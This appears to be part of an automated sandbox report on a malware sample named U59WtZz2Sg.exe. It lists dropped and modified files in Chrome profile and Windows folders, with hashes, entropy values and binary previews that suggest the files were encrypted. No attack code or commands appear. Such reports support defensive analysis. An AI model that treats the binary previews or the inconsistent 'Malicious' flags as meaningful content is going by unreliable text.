C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1848
Entropy (8bit):	7.881089842830607
Encrypted:	false
SSDEEP:	48:8KWxQRf+mUI5lE4uNsVxBoOODnTMzMrYigb4xID:8AX37b9V/oXnvKb4u
MD5:	26CD041711BDF929BBF18DA2FA7F4695
SHA1:	440F7D4EEEB257C44CE8037CEF2521F1F98E61FF
SHA-256:	061FF6624594410DDC63E874A972F7DA37EA153B17A2555D9A813961781E0C3F
SHA-512:	F6C9C67DF8AE96FB49063335579DA6E8DDD3E10BE06F859C15D346EA249B623C46D4A2CB9665A609309D6291D34AE5883FE0416C72288186EFDA9C36F2E3DB9A
Malicious:	false
Preview:	.PNG..h4...K..M$.G...[G.\|....F...a..WLr....gh....~.-......2.i%..k.H.P.....lX/.t.?...WAx..N.E...&jZ'...EPQ....o.H..S.v....M..gd...B..].......f........s...dP+.....?...<.q]2.+..X..P.1xi..6.Z_..\#.\pq@D.(..d..K.q...IS.g(..d.0...K.s....!4a.Y..8.4@...2o/..(..:{.@..$.U..%..U2 ...-....;.4..r.~..M(.-_.K."F.Y.....%....I.<..=B..@:.uq7..aqC..Sy(.2u[kj$Fi.B,....e.....U.R...~.......0..#.......#.]..9.Wt...k. .c.~.....T.....).W...x'...U.....BE.m.A)=......;y..U...h_.:e...V.j...X.).....JH1\|.i.i...G...V.V..:X$.9.^.g.b`......EV.{$,.f.G.Q#$BJr.\|m]H...i.TT.o....../.R..R..T..O.....5....=...?-.....".N.S4.n...f...5..DS.....=.~.f._.^~,oTF..L[!P/.`l......b0....H.).{Rq0^....I."...1......+N./ ..KE.2..."..@eU. ,.....Z.E...R.&..m.#...+..a.........@../sG.<.(.......Y.$.....].....=l...I..Pe.i....(.k....R'.X.>Ll$.). ......P..p.........aW.N....S.rIt...7.1B.~#..).4..G.L`.I..2.'i.....w.P. q..A?...`A.F...b6........{.H...........I.".u2..h.][.n.......d.2{..2...H..,...Z..c.$\|{o].

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	7.912922003197393
Encrypted:	false
SSDEEP:	48:OBSsJhKADsIPrD95C1GXg3akOpbCD3D22TD:Ovo0C1Xa2D3Dn
MD5:	6E345210FC2D34B97F06FC9DB777695F
SHA1:	4D2F770C6539DAD0A55EE681C7596FD92C6ACF4F
SHA-256:	E58880706CD80706535EF7E1E0240A8027BD7F89E444C7B0963150DD1EB367E6
SHA-512:	453AB1B6BE975D75CA6844DFED54D75BF68C7C179E9816BBEC935E7D18D1CAB730966CCB16C63E88E7214820DFCD707AC3AED54DB90C45E7C0F05CC70922A6BE
Malicious:	false
Preview:	.PNG..g1. .o......].OL..)....0.D...,..~.&..E..%...s)"<.....'...K.].C.?f..a......v...B.2N.nh.({.....LN^{..fQ...].+\|M.....M...WK.q1./x.h..ZY.K7.......8..`.. ..&.Q.$..^X.s..^W2..J.i.?G...ftVz...@...U.>..e...r.U~.i.kq.0.0.,E.+0..G...zc..!..e.4..7...Ez..f...............21&..B..x...nH>.-..Nw6.)..}iT....:.=.\. .R..?.\|...j.6;Y.K;A..F.S.!@`.%@M.e.w...'....fe..uT,T..{x\|..k.}.e .4.f..f+.}....O.....w.S....)..`....,7R6.... ..:v#`X.S..J?X@Z...+]..t>".,HI..A..-c..Rj..".....?.].cR!...L...7.&........GhJ..Z.$y.'..........4",..v.....`..Q.z.T2........vl..l.H...w..'........K..M.q..E.$...2E....%.4q.i.H..,.YI...w..n.{6.Z..K./.-....h.yl................5..,#.}.......}.\|.Nj.N3.w..3...L.g..\!#.@...;x...Me..y)..6..cs....qP..h...P...@..iD.;..aO....1(}...c/6.o:.....n....ue.........C.....V?....c....b.E..ae11.>.......T(-...\|...Fq...'g.g.d]!z{.6.f..;....y.5"...MN..t..6.X...u...\..Q.6<.....z.`.rw......Z;9..:l.....@.4N..A....[.....k~..M...N.....Q&(...ux..7O....a...~<.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	5710
Entropy (8bit):	7.965591297004057
Encrypted:	false
SSDEEP:	96:UzTyqHomlHl+9iC0YSHciIt3b7CTdAkJRpRHqf60xTRb4KA9qpELguwICx:UvBs9Ltz3b7sCkJJHqxTR0KSVLY
MD5:	E1426FCB7CAD78606D359D9B8269B580
SHA1:	2B4CB315540E14A5C001ACF06F8782380C8830C9
SHA-256:	0FBDB9F0BD2B72FE9F808D2AE56D95C865B5370BB78A2DBAEEC57A73CB54E92B
SHA-512:	A5D3FA5FD3890CD689C2C11DA625E8D0A1763F7154DC0F30B9065A71CDB89088C2038C1E617A3DB36AFDB61031AB30465D72A8B83B234B4B6082C36ED26F6D02
Malicious:	false
Preview:	.PNG.;..x..W3....(.....c;. ...M.L.u...M..'........c..!./{...vR..M!..B..'..4..`...ZkSkh.cF......dA..n=.........t.....!.4..EqY'.^y......F......].`....!..B.f..4f.W^r......Y~.`.".&...Z...+v....^..G ....2....Jy.}..a..."..Q&h.~...%..!.....F..$..j.......5lZ]=[r@.....'..@5..@....4v.}. ,..?..Q...I.....j.s.L..u....+)^......D.V .s....?z:.`D..\g..'.%F...P.;......u.f..g .....[..?.nD2.?.....{..Se..Mmv.u...-.T......?..$.y'.....E]q.c.e_v.[4.i..X.fz........=.V..#^.Gn....j...QA..x..H'Yq..f..efom.e.........F.OT...Y"<v.........$..3R...I}...:m4yp..}..=-..........V.'.u..#.ou.. >.(....;W..Y..?..ZA.<....`..L.}...=...F.o..RT........~.....}....>2..XJ0..:.^.1....%..B.OU...Y~.....w.6WOK...KW.:..^..7ED.....y1_.....T.....I..XP...6o.)......Yfk:.#P....5`c.\|."...2.Q.I.\LD...-...q{K-.q...x...m"\|..\..X.......(.(ij.....(.......I.H..j..s.HSg.=.)T.."m..k..aGi....h....b......66.R~...RE%b]..Y.U.G...3n5..O.../H...K..........O.4.Qy1.8`m...VQ...5E...0. .p.o.W.).......R.*

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	3253
Entropy (8bit):	7.940311078925311
Encrypted:	false
SSDEEP:	96:PHCAO1WGsP+l35p3X5mIF8MI61mh8nqmWHbH6lQagZ:/CAO1KU5mIiMdWjagZ
MD5:	1923661F5B1A73C6E89D0837CF3EB028
SHA1:	255FC273BB1308D65F18B416FA3A59342D605170
SHA-256:	E024E96CA2D4F34B799BA46BC53C73D8BF4F4C032476559C25ED14FC765BA096
SHA-512:	FA6AF046B2D62177074C216544B6701BAA721C7E39A651116ABD0E088E2CEABCFF09D3270C86EFB31FB18BCDFE4376B7E224DB94D7F899A2993397E51155336D
Malicious:	false
Preview:	.PNG........V.....(..o...{...$...v.....v.].8p]iHm..F.{...i....(.Z}......."..&7M..Y....e.'.+.j.iB..9.C..TXjKT&.7.<.YS...}a8..y.../..++...p..R..0.. ...}..S..T..C&..-.G3..R...t.6.....D.<.........l.o!..X.6..I..u3_.'.....8....u.KLO..-..:.H..Pc$.h.....(Z....drm..y...L..0Q..qF..i[..S...&9..s..'@..^u..P;...EM...@..$#]&d.....3.8..F..Y..N.`.hTz.tm..Q.[......N.a..=...,..+3.j.}.2..u\|.K........Y...B)a.T.I.&.k.W..GJ...8V....?.n.....#.U..+...r..W...4.Tt.O.Ks5o.e..K...^..Ch..?_e..s.U"../.......T/W?..!.)..S...p5..0..ma........<.6.:....0..M\|.F.t,N..}....-Bz/..1s.X....$...D.q..+..\|Q...L. ,.K...].G.{....5..c9....=...P.C..E.o.a....@.f..k....5...E.....a0.+}...E...;?..P.....]YB.N.<mh..@......`7....t..IQ0.k7..R.....Iv.t.q+]Y.nAT.....{u..r....6...,.......j.`f...J...T.S..:....#5ik/K....l.....D.8kL.\;g..9..-..DR\3:.[..........{\|.m..I.q....D.+.-'.j/mQ....H..7"w.....V=2..0.Q.i....A.".oA...k..[.u5...g....f.._.......0..../.Oo.r.@.....]S}.6..j~.......8...eU.z..)j

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	12565
Entropy (8bit):	7.98577116595789
Encrypted:	false
SSDEEP:	192:tnaT8L7F+ZqehTslgzLm/FKEqfEzaTq2gWiCuoStvMCxQo9j8PDQIGovmzu0kCxi:8TFsV4JqaTqbpCuNECLEMev0KCUaSl/7
MD5:	DE208AFF6F5CFF3510A414EC7862ED8D
SHA1:	FBFE9188009EDF556DF5531B5A5EB4882B3FD038
SHA-256:	BEF9B1BB0ADC79F4A388536C577EE2FE9076FCCCB6134FF1D270C2BD0E998EE0
SHA-512:	6728CEA5F10DFB0E9FFBB1D25251710116177E5CC3696452B86EBC67CD4BE613E01940C1342ACD36AD4AFC7FA41AE953D4B42255846A200CD98B5697C641C04F
Malicious:	false
Preview:	.PNG.......<.<.D >.....,....g.0.n.p.<E/.{.3...,.F..XD.......B.d....}.D.v...2JT..ZU..27.,}[...W...w.....Y.....h.............:.2.....N...q#W..I"..G.~.S?@.....p.zp1"..!(a..`..p.eE\uZJ..........T?!.,l....GV9Sa.9F(S..(.>....q..1...c........xkA....w.....9..r7L\|y.~.F....Bgt._.M..cL...5M......gK2G....,.l%!..\..r...r.5nq..#;x?.p9..d.8.1A.C...."....~..&...u................].....c.8..Lq.Si......>w.djGt};T.<.A.'I..L....n.,Q................r..Ed:n@. ..c....5...]./..j.S..r..a_Ro...`.vg...[F....-.>...jU.Q....2.9....-n+=.?a...L.3.WL.?!..Pq...7...l.t._....D.........b.e[.).._.../..[.B..H.n..2....8...Nb.S`..T\.W.a5[{.wt....V.E.~.J. .C....\....,y{..W.,e\......5.D...vL..ul..a..='9..Q.....<..........$s.O`..G..zL...`..>........8...T:O.W.uI.I{..O/O.=/[.<...(NkE..VX.U/o.d.H.J...\B.`lV..H....]..@.z..s..A.6IJ......}.D....#.... .......^._.n[]n...M.N.(..8...F2.....Yt\|....C..Fx....e6.v..5$...p%.S...^..x.CwamE.....R..K.c...*f..^0.^....vKT(..dk..3...7.2..n..S..........L

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	modified
Size (bytes):	1892
Entropy (8bit):	7.899129168187769
Encrypted:	false
SSDEEP:	24:HQDBQOL4wjo78FLBJ9qb/qWK1zXF+pwdP2myKC/M9CDD9C6wbLm+7EDbDV/gkbD:HQDBD48vJeSWuLw4y7DM6SLhERguD
MD5:	C949FF5D28256F640D6B8A1CE55E7682
SHA1:	197D72C48FC584C65FFFD2D1DA83D42284C91920
SHA-256:	69A2E91E1F25251D058AC3653B102C2BD98F438A8CBDD974E6E154A62C5C09E5
SHA-512:	7307EEC444F718E6F2404770AB7D18B722758AC9A9A3ED1FD05D998586F3644BB78C647FDCCE121BEF96CC3573289160B326C68252581DCE1EBA6394A2404A69
Malicious:	false
Preview:	.PNG....x.{.+..%..W.9..0:.h./.'......r".._....U+X4t........7..Ed^.1..im..........Aa...k2....A.].5t.q.xLa..Z'..&.tx.s...H;..Wh.......-../.8`>.:QBT.....aXG.......fgm..$..`..h^F.^H.@.#.8Z..k.0X....j.{.o../....C/....D...A.....4...L.......Cx...,_..]..}..H~.f;.\|[/+.].;....J0)9..[..P...=.u.'E..oh....;.n^.].2.`.i.r2v......(..b..../..c.`..^..T.e...- M..;".VX.U`#>O...x3... .........H...].R../k.1....K...Mu%.Q.K..z.......&.2.....\|,.N...l.....M..Dh.mS.QB]Dg..v^.8.:..L..]D...r..3.uA^.\...mX..j..F}T...__.....mU....cU....`\|%..x.I1.`.....+d;..R_..]".b.R2N6W....6NNW.G...S}q.}......y=..%)A:.6.-b~aC%t.....2...b..:S.N6.o.......b-.dL.r.G.z@e.hj..;..N.?...%o....(=....&-.......k.........2.-..Z..h..g.&.l._.+e.).-?Hyv........t3.;-R...s.&M.6~..."'.&;..NmC......g.Vo.{s..;,..H.J..2..s2.w9'.'}.a.Tg.g.+..G....r8(<NA..N....1J...(.<U....!k.>.z;..={..K..C..t.HvX%IK.`...r...\|.0........d9.0.4.c/....p../....v.S..9..Hq./.".....Ycq\.!.^.f.....d@._..O.}}..L1.g.......P.fm.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.991880391735602
Encrypted:	true
SSDEEP:	768:qqdVVFhH8RewqoC2rn+xgB0YUhM7U4WYQ5G:5QRQ2630WFG
MD5:	748B6BDC6485525FB0CF69600F6D7F78
SHA1:	3824D24C2CB20786E9C488191208B4FC397907A6
SHA-256:	43638BEFA8B0B05D089F7A8FDE78F3CB68E4F627F2BAD87380E45A16525D9CEF
SHA-512:	4444BD5178F5471B40EA91BCE473C796122E556EB735A706A094E4F538DF09EFF1CE1BA92C60DA6F1E704D73B93C16689B4065D6F039A5706B0F616F391D5183
Malicious:	true
Preview:	SQLit&.........'...\|..P..O..SA...... w../.,-.3a...Q.,0y{....OG..H.1..$d...P.1....F.H;#.dB.,b>.E.%.(.#LG.)\|..j.x=8.rG>&..hU....G..Y.Z.&.g.9_..&W...r.m..F.Sk..>x.....Sg.R.i..YL..iNX...O..X..c..-..y@)Vu.....x..........k.%...?Zl\.!.....}.>..T....f\..Y@@.....I..@}.}.^..QbX....V8@).!zN.2...\|RS.pn..~y.al.aJ.P/.....'+.-.....x..L...........:...n.Tt../...)=e7..N..{.>.lqg.)P!.....Ql...l...&^... Ru..#."..].`..\.:/"<40w......b.;..,..w.......`K\5...r~1......=d...c..0.'.6.L.V.v........J..)n.......5T.../EF.a{.d[uE.v...4s.7.-x.K64.n./...y'=v,...6#">...e......K.].......... ..%7..w......r.ljJ,.7!..._.b`L.{.+...s.%..O.{Q...y"...f.fZ..@.z...n..rRr..gTW<.P.......\| \|.t...5..p.e}<.4.:q....-.....e....8=.e.2...../5...MV.e..\..oO..X.<.E..2.^l......V1].W...w.....Q.r.s....X......x.Jx...5{.3..1n.......c9.>\.>..`.tC...Z.C,4n{N..W.no...L...K.]M.B..b.9..1......q]&....5i.%+Q..j.....Qo.........<.o,..l......ua+XB....>.tx.v...a.V."P*.....}..:.GN...L.4=...HG... +v].z\|...7w.....

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988537338661867
Encrypted:	false
SSDEEP:	384:PCSB8OI5cCk4j2atfBM4RbWGISQX1DXElHPcRY68hhlyqFj7S9:PjbIFk94JM4RbcvX1DXExcpoDlFj70
MD5:	FF28AB9157240A6D13A91D0CF9D44792
SHA1:	CDE40184515C3EF577C2C146E016E0CF8F3BDF3B
SHA-256:	DEC9B6611067CBE43BB7111973DE6B4BCA32C6F786785EE60DFD1B99C2F0B534
SHA-512:	8A28364D1819BB0F17E4F14B4917DCC274C2E2DEC0B99E1A224E36A3E438728125B24FACCDEF82E1EE1B21E42BA30502EBFA4ACA3C7615C64A8DDFB6C8E99D0F
Malicious:	false
Preview:	SQLit/N.....<+.{P.D>...EB.K..U...rY.dv>... ..2...8..<...61{e..h......L..>U...y....I.....`>....E...0}.V^.nEYy..x.....4J....+.7....H..z8......'..N.X.g...+u..F........I..$.7.H.(M;..e..D.s......7.=......x...%..6.fQ...%{.kT.9.6<.D.5..>k.s4.'.B.@..N..[.."d....~....\>0..B.W.....5.zf...}...."*..^.5q.x?r..A.J.....z..b.#...UePjHu...N.d...d......\|[..L.}(..9...\|....x....Y@.P]....@..3...Z5Z.'&<.>'".<.......O.2.v8.l."^..v"..;.......,..6..\|...+z....3.>..{9b...L`7.5M.e.S.....m.g...../Q.4..'VM_.....y.-Jp..)^.{.{...C=.uf{.=.Md.WF.O....\|6{`l..^..h.0.~aH.IB..?..M.h..H....\xLK.?X9.a.g..@O...j..L.....O.0...@..9&..'..K.!....=f...?F..o..+,m0..4.....;.l.......H.d..\.....w(....Nn....(.....>.......p.iFZM....#.RAi.2.S'...]......4.x<.&.s'.s........8W.'...\|.].+P.LQ..G...~..18...DBG..H..X'.M....X.iI.4.0x...:.TZI).....3.!MVUO... .-...I..?.j..z5.U...;...`......J...(.<...6.......].t%.....:..C.0.@.,vR.:{+.<<.6.+....Wx.C.H..:.wG..RS..../.2m.B...Dy9.74]...J..2....[G...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\previews_opt_out.db

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988298566665822
Encrypted:	false
SSDEEP:	384:ywhA+fttrQ99vnyrFj9UyUNTDrda/RIvyljhdhcd:yWjfttrunkqR1IQ6hu
MD5:	A45C3F65662C028B528036AC28018945
SHA1:	38EB93C44ECB77B41BED640BE81C3D03CA89607D
SHA-256:	091B328625B8CC28991F0045A85AEA67D5E76548DAFC0492B15FB83B64FA7915
SHA-512:	03B28486A159FAA25D12A2EF9F099582BE4426B8DCA8C96C24EAD56183B1A76BB922C86FC3D4BF15A4C71DB17EF310CDF370206A9292DFD7142603FE46988E9C
Malicious:	false
Preview:	SQLit[j..x3}...d....^...$).=j}N.Bq%X...\| .A4........}.....&S...\|........t..{%&=..q...e...-7..rZ......7A...-.n....!..f...b..z......Q...m....w........i...ucy.Q....S.n>...'BZw....Hvr.$.Q..s.....Sl&e.a..&v?....-.]:.&_.b....+.b.7C.........k...J.[....G".;!.CI..o..q .D...6$.S..O..]..r.....p8...V@Ia...s.!K.Y.dP.R....%].S._KH"`.)..0.Xr...Hg.+.\|...<.9.5...].D......re..A..v...,.c...!.f...C.n......=.U.8.4ci..}a...c.!B.a...9)[+@y.3n.<.-#&W.z..d..Xaf;U.r..{.2.....$..E..5N.......~g...x..........;.,.....8...83.UX..3%]C.....);.%dR..8.eWhH..''....E.o......a...}.y.'.I....c..$.....I&..[..j..%..T.."...V. ..A..p...rj5..O.I.....W..=.6[.#t........u.c.r;.. .Q.)..b.U.........0.I.>.....#L..{$(.......k#..~O.....dN. ...p.b....cc.J......t....&.e.."'Ep.../.s{..1...<Y.. .j...T.I...-..g...`..R......TG.D..(.1..m.r.x..Bqy3...[.[.*(..@...........iE........_P{.\....-..}...b....N+X......z..w....=.:k.m..O......./#...g..m.......0.....L;.9)s.w.....'.1..A..<....1zkwB...@... &.o`.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1066
Entropy (8bit):	7.807638670941954
Encrypted:	false
SSDEEP:	24:lOiESxmQwYSC7t0wZizVM55JskEfsXsUbD:l1xm9Y1ZiCHJsdOpD
MD5:	F581A0EB2AAB13EF0BA5F9CB9F84214A
SHA1:	167EE7953A0AE12DFDB413AD510309C5E3190EC5
SHA-256:	EF6D539BDAA2E04C3F97D0D70864860A2D41ED27BB8BC8EA4480162FD12F9610
SHA-512:	11A60F308F2E801E3C130191BD49C97F6C98F031F463A36BD076A1E033B97D7A7A97E41D3EE517C7AC1504F4FD1D0EF7A543715FADBE657B903D28D400A7FD10
Malicious:	false
Preview:	A..r....$.;.f...[.L....DEB.G.D..x..t..r..N.+K..N.....J...V...C......2.;HB..yu.K.1O..u.0g,..~..~.6~.cH>.X..U..$.%..dS7...2.l...i.K..Z#%0./.."0..A.A...\|....p..%.h...b...kJW..I.(..<..x,A.04.a....Fg..vc.$.....a.J"><2..o.._..R..s.... p...?g..Qa.._.....\|.U..h5h./....>.J.y.Z.~.p..Y........n.-P.S@.U 4.<?......>.<T.kJ..w-..j...O.@....."...d.<.e%......k.GG.._......W.J..../2Or.U.........,.lX.f...........J.N{.;..0g...e..$....D..0.;.bn%woW.....G..v.R.......C.n..x._..[....a..[.8._2..h......g'..a..w..c....V...>..}.x+^...5X..[.....^^.........,.l.....(l..U...xZR...p..C.....{..D&.6%1....uca..&i...4.d.l..p../Z..'W.s.{=.....V.,.^..S./..y.qM.\|..%{}.....Ph.4`X.]>n..../>..~..[.\r.&'......)..z.%7...`S....i.z..{...z...V....#...L.f.r...=...57.....V....].-..R0..A...C...!}.Yc..>.q\|.N...)HL.._.<.vP.........3&..G9.U..PZUC..T.6.....W^...]YF=,{...]E.)i.l.x..C.Q]c.m..a.......'.....l............^......hn}."...#.\..Y..Q.7t.6'Z...p;Q....\|...K..b.g.....]....E.....;K6te1YGPnIbo

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.7843666279256665
Encrypted:	false
SSDEEP:	24:esIRm/KUhH4RKwIC1//YH95PkfSNCsqDjs7XTubD:etRmieYRZv/aLsfDsowgD
MD5:	DC7CECB780FA46F49F3E3658461D7DF6
SHA1:	95C09F59D78049ED1E4D6B0F06873CE393313D46
SHA-256:	B1633335E2A16B7ED94D5A7F617B6F038E100675882FE87E50C2FB88B1629754
SHA-512:	CCF4C1FA6AD7D83D3ED69623556C1443D89E0AA34FA1D21C93A4339109ABDA2137F2EA2AD3BEC24B4194FD4A863DAC9897842224CF646D78505A64CA4CCCC994
Malicious:	false
Preview:	.DO&.h....qN.B..n........V+$.0u..D.U..,..&..DX1..v..4.2......:..v_....(J..[.].h..t...U.z)T l..Ud.X.Q..3.M....f.2]..8y.....R...h:.7$..D...X.........S.....Z...*..O.....;..+3.M......GSX....N....Tl..f.a..Wml..."....!.]..c....E.....z>...[."...:.:..3)'v..d..~T....w......-...N....US.....ue.-.z....o.0l...K..eL............s.h....$P. .e.}.......\|W.h+[TY..bs.9dZ......a._.'.[".A.YV...c...S......;..`.cGv...h+.....6.Y..jk..\|F.[..~..@./Q.VY...;...o.O...".B...:....S_'.4:l.b...;..no..;.v>.P.f.........zJC.:.YZ<...:.<.Vx.H........p\Pk..)..7...f.7.\|.....#"0..)....k.%g...V..U.sV...`.,.7y.....[CZ&.^...tH^ .-......;{l..d.jV4S+...<..2.3#X ..@.\.T.l...!................;.!LG..I.97....;.e1".f.P.%)l......T..#..L5...hpM....q..u...\.MK.n.q...0..[T9..Q>..:\...n..6q.......&....}..#.7..."..H2..;...d=M.7.B..0..n.NVM.x,6.gt.....guO..............1......i..Z..Q ..1....%c.6Q..%.F....}....>.....~>..6~.@QOF7..E.D..]Mn.@.....].n.....!.Z....T.l..[.3U.N.S..aK6te1YGPnIbo4GcGO

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	483
Entropy (8bit):	7.481380602966872
Encrypted:	false
SSDEEP:	12:o9sitj9dyW0stawMtYcz8nh1ntyQzgVV8STYtcii9a:GsitjzXLawM8nTvgVV8fbD
MD5:	DCCC373C50642EB3CFD515D6FCED268A
SHA1:	70F52AD0EE7190FC464B63D57FFE59A9EC46FBC1
SHA-256:	E273869A30365B3646B6132746D33C10C8803E1DF096426159F1986C5AB4E1FC
SHA-512:	EC403BA6DB351F2FF1F0FBCF56F07DA3ACEA8B69B3B6481BA691CEB019FAD4DA95B8586530C97151680E46C8AAE4183D5CE798F5511837E3F39194D83FD4FC60
Malicious:	false
Preview:	2020/$n\|j.j......d....bo..80......<$y]..s....0.3.n..s`..i...&.Nze.5j 8.0..&.jT.q........'...]3....Y.z.....k.YkWK@!..WJ[....5..........v^.-...t.@..:_IH..r..SY T2.%.!\|rW.KvU.v..L.....4.;[..v.[.)..Z.....}:.he..lfi.oE...oFc.x..H~hAr..Y.drx.c..(.G.D.Jw..:;...;L6..3..l..\|.....\[.<heJ......k2.e.Q......\-......}:G.v+.4A........2.Hg..=.RxB...e.,q..U..z.]F....3.Y.'......o..)s.... ..} .-.Z..{x,K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\IconCache.db

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	18296
Entropy (8bit):	7.988657311597812
Encrypted:	false
SSDEEP:	384:9Qk4Kqfac/W+6cfC0RupGnDCpswxKRtocMppx/Q+n/Ufj:9PxqCjcqquyDqtYRtocMpt8fj
MD5:	1687E79B59F47F0E5786C181DA45FBB7
SHA1:	D8B4BB4F2B9E492E85BD8FC99780F0D4375D8027
SHA-256:	64F8B5DF1B8FAF64E58E10F89823818E338A066D623AB3C15CE126912A61F207
SHA-512:	FE22A926D788128C4D6ED0DF73B6B380E966F2E6E489762A9DBE61F6052577FC0BDDAA42A21F332DE351607B0FC336572F0E7823A88EFB1B657AC505947A95BD
Malicious:	false
Preview:	H...W.,...U..?..G[d)..>1....CC./..I..H.,_.=..O......&p.x........'1........mW...j...1..#?....W..X7.^.....B\|C.#{.+(..b....u.`..~W..!p.S]q...H..y..k...9..I..w$..lF...0.U..Q...1..,.Bn..hS...0.f..!..q.iy...g".rH'.D....rG@5..N..+.-.3...u]...G"....C.eW.%....0D.x2!.\.Z.W.....!j=....zT..2.I^a......./..Ug..G...KrH....v9..J..rr..i........Ne.':.%.0.......}.Q..{:..j.....Ku......\h.PO.E......@ep..t.EZ...._.<.n.az:Wsn..K.]8.._N....c<AgY...2.L.m..V..."<.'...O..6#....#...B..;vMa...iE...[.....o@.m..{t....`.3..2.R.O^...S3{>......Q.s..e...4.3../....H.=..G..{....I..".\...[....?..S.G.K.f.z.o^..e.PX.Dh...._.......E....t...inJA....W<p....# }...+.].]..........i.vq.w`P]M..".o6..W1.l[...pedR..j..q..G.p.g.h.k.P..V..=8..'.N....@8/.......D.ld.R.n..C.C.1#.?nx..b+...Nz....$..n.......hL<.%.W."...N......q..f..A.[.......:7...o. ...*......@;.{.......G..K....19p1...Gu......Wk.&YP.D....n......8...2M....p..\|v.T.s....r._.@y6X..f.....o3.&.....AY.KL.-.f:S].$E.\.

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0\UsageLogs\addinutil.exe.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.548926528026075
Encrypted:	false
SSDEEP:	12:QlKPH/PMFrm/ZskGhJkbjW5okNUaEHv0yQWgAldtcii9a:Lsm/ZecZaUgApbD
MD5:	05D38523CAFBEBE6EBB274416DBE166C
SHA1:	F9A81D70F04E2B94CA832775F4707B735F788C29
SHA-256:	32C8CBC6523373ECFE8A17EBF04D8F8FC1C183D8E42D55C1662A5CB61D9DE080
SHA-512:	50685788E076A9BF6CA547C0132161A0941C47B45D8A870878C61916A7A90D7EF6AAD0AE6B923B4359012D1F5A763DC14F988E0C8BE6A9A5DCEA62AAD294B5B3
Malicious:	false
Preview:	1,"fu ..a:...........=M"l..%./r.M.!(qB.\E.....-.A\..+6U.....r.U.b.tN...1....^.%D.V....=Be......p.0z..S....#.....=b..P/...[.f,".j.N"...O.+.JF...BV..........W!..5".W..P..._Anc...)..J.-..\|..........7a.<FL4......4.s.1R...x&B.d.v#`u!.......^...........d..&.I..S.).gi4...Q.8\...A..V....?Y......2c\|ns%.O..q.^..".0?k.J..".9........ESZ.14.nH...b..>40...>.\p.w..S.l..^#.>K.=@......{%...y.(.f....#.)...i#y.^!;../..b_.>.fMC...d..[..9=.37....L...O$.S.K6te1YGPnIbo4GcGOEP3iHx1cFFHBUeguxRGm3XS{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\U59WtZz2Sg.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.360185954216639
Encrypted:	false
SSDEEP:	6:QujwMI4q7mi8OWyAM2Wrb9kuyBUv8e7KZVeo80Z06vXMICJ8VkDGxntHcii96Z:Qkwrtmi8jmrb9zyBhbH3/h8Io8Btciik
MD5:	D11CA32ADD269F8DF99258B64CAC5BD7
SHA1:	A8B55C036EFFEB52DBB764CA5E936A98A321A241
SHA-256:	0FAC78C28DF0465A2864AA6FA988BF3DF5338C200696B098064D234F8469CC04
SHA-512:	F8C6EC5D21822D7512C2611286235D07EC67FE8A58129E56DCFB161F88D8620F00760620DE383CB6A2392677F4EEBAB12D6FE6285F86F9BE84230031450E6A5A
Malicious:	false
